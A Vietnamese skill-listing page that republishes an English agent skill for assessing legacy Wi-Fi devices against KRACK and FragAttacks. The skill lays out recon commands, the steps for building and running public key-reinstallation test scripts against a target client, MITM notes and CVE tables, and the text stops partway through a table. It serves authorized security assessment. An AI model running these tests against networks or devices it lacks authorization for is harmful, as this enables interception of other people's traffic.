krack-fragattacks
Skill này làm gì
Skill giải thích cách đánh giá xem các client và điểm truy cập Wi-Fi cũ có bị phơi nhiễm trước hai họ lỗi Wi-Fi đã biết hay không. Dành cho đội bảo mật đánh giá các thiết bị không dây cũ hoặc nhúng mà họ quản lý.
Khi nào nên dùng
- ✓Khi đội IT có router cũ hoặc cầu Wi-Fi công nghiệp và muốn biết chúng còn bị phơi nhiễm không.
- ✓Khi người rà soát bảo mật cần xác nhận các thiết bị đã cập nhật có bản vá Wi-Fi đã biết.
- ✓Khi nhà sản xuất thiết bị nhúng muốn kiểm tra firmware cũ theo các lỗi này.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Các cầu Wi-Fi cũ của chúng tôi có còn bị ảnh hưởng bởi lỗi KRACK hoặc FragAttacks không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill yêu cầu AI kiểm tra trước phiên bản firmware hoặc phần mềm của thiết bị theo danh sách bản vá. Chỉ những thiết bị cũ chưa được vá mới được xem xét tiếp để rà soát có ủy quyền.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
KRACK + FragAttacks
Viability gate: Both vulnerability families are largely mitigated on patched stacks. Modern Linux kernel ≥ 5.7, Android ≥ 10 (November 2017 patch), Windows ≥ October 2017, iOS ≥ 11.1, macOS ≥ High Sierra 10.13.1, and hostapd/wpa_supplicant ≥ 2.9 are all patched. Read this section before spending engagement time. Viable targets: unpatched embedded routers, ISP CPE, industrial Wi-Fi adapters, OT/ICS wireless bridges, legacy Android (≤ 9), custom RTOS supplicants, IoT sensors with frozen firmware.
Scope-viability assessment (run before any active test)
# 1. Identify the target supplicant / AP firmware version
# From passive beacons:
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/krack_recon \
--output-format pcap <mon-iface>
tshark -r /tmp/krack_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>/dev/null | head
# 2. Identify vendor/OUI from BSSID
echo "<BSSID>" | cut -d: -f1-3 | tr -d ':' | \
grep -i -f - /usr/share/ieee-data/oui.txt 2>/dev/null || \
curl -s "https://api.maclookup.app/v2/macs/<first_6_hex>" 2>/dev/null
# 3. Cross-reference vendor/firmware against KRACK/FragAttacks patch matrix
# Key rule of thumb:
# - wpa_supplicant build date before 2017-10 → KRACK likely
# - Custom RTOS / bare-metal 802.11 MAC → FragAttacks design flaws highly likely
# - Linux kernel < 4.14 → KRACK 4-way impl flaw possible
# - iOS < 11.1, Android < 8.0 → KRACK, check CVE-2017-13080 group key
KRACK Family (CVE-2017-13077..13082)
How it works
During the 4-way handshake (or group-key/FT/PeerLink handshake), the authenticator can retransmit Msg3 (or Msg1 for group key). A vulnerable supplicant reinstalls the PTK/GTK, resetting the TKIP MIC counter or CCMP nonce to a previously-used value. Nonce reuse under AES-CCMP allows decryption and in some modes injection.
Vanhoef krackattacks test scripts
# Clone the test framework
git clone https://github.com/vanhoej/krackattacks-scripts.git
cd krackattacks-scripts
# Install dependencies
pip3 install -r requirements.txt
sudo apt-get install -y libnl-3-dev libnl-genl-3-dev
# Build the modified hostapd
cd hostapd && cp defconfig .config && make -j4 && cd ..
# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP)
# The script acts as an AP, manipulates the handshake, and confirms
# nonce reuse in the supplicant's TX frames.
sudo python3 krack-test-client.py \
--interface <iface> \
--target-mac <CLIENT_MAC>
# Test group key reinstallation (GTK, CVE-2017-13080)
sudo python3 krack-test-client.py \
--interface <iface> \
--target-mac <CLIENT_MAC> \
--group-key-test
Channel-based MITM setup for KRACK
# KRACK requires MITM position between client and AP.
# Standard setup: clone the AP on a different channel, relay frames.
# The krackattacks-scripts handle this internally via the modified
# hostapd (acts as both client to real AP and AP to victim client).
# Confirm nonce reuse from captured frames:
tshark -r /tmp/krack_capture.pcap -Y "wlan.ccmp.extiv" \
-T fields -e wlan.sa -e wlan.ccmp.extiv 2>/dev/null | \
awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print "NONCE REUSE:", $0}'
CVE map for KRACK
| CVE | Target | Condition |
|---|---|---|
| CVE-2017-13077 | Reinstallation of PTK-TK during 4-way | wpa_supplicant / Android |
| CVE-2017-13078 | Reinstallation of GTK during 4-way | wpa_supplicant |
| CVE-2017-13079 | Reinstallation of IGTK during 4-way | wpa_supplicant |
| CVE-2017-13080 | Reinstallation of GTK during group-key handshake | All major platforms |
| CVE-2017-13081 | Reinstallation of IGTK during group-key | wpa_supplicant |
| CVE-2017-13082 | PTK reinstall on FT reassociation (BeAP) | hostapd/APs with 802.11r |
FragAttacks Family (CVE-2020-24586..26147)
FragAttacks cover three distinct flaw categories across 802.11 from 1997 to 2020-era implementations. Design flaws affect virtually all clients; implementation flaws vary.
Flaw categories
| Category | CVEs | Description |
|---|---|---|
| Aggregation design | CVE-2020-24588 | Non-SPP A-MSDU flag not checked; allows injection of aggregated frames |
| Mixed-key attack | CVE-2020-24587 | Fragments from different keys can be reassembled |
| Fragment cache | CVE-2020-24586 | Fragments not flushed on reconnect; stale fragment injection |
| Implementation: plaintext inject | CVE-2020-26140, 26143 | AP/client accepts |
Câu hỏi thường gặp
KRACK và FragAttacks là gì?
Đó là hai họ lỗi Wi-Fi có tên riêng, liên quan đến xử lý khóa mã hóa và phân mảnh gói tin.
Vì sao kiểm tra phiên bản trước?
Phần lớn thiết bị hiện đại đã được vá, nên kiểm tra phiên bản trước sẽ tiết kiệm thời gian.
Nó chỉ bao gồm Wi-Fi thôi sao?
Nó bao gồm các thiết bị Wi-Fi theo chuẩn 802.11.
Chi tiết
Mô tả gốc của tác giả
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14183
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.